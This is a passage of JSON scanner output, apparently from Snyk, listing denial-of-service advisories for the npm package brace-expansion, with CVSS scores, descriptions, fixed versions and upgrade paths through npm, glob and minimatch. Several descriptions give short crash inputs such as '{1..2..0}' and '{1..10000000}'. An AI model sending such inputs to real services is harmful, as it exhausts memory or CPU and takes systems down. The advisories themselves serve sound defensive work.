"GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 